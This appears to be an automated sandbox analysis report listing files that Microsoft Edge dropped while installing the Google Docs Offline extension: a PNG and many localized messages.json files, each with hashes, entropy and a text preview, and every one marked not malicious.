Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
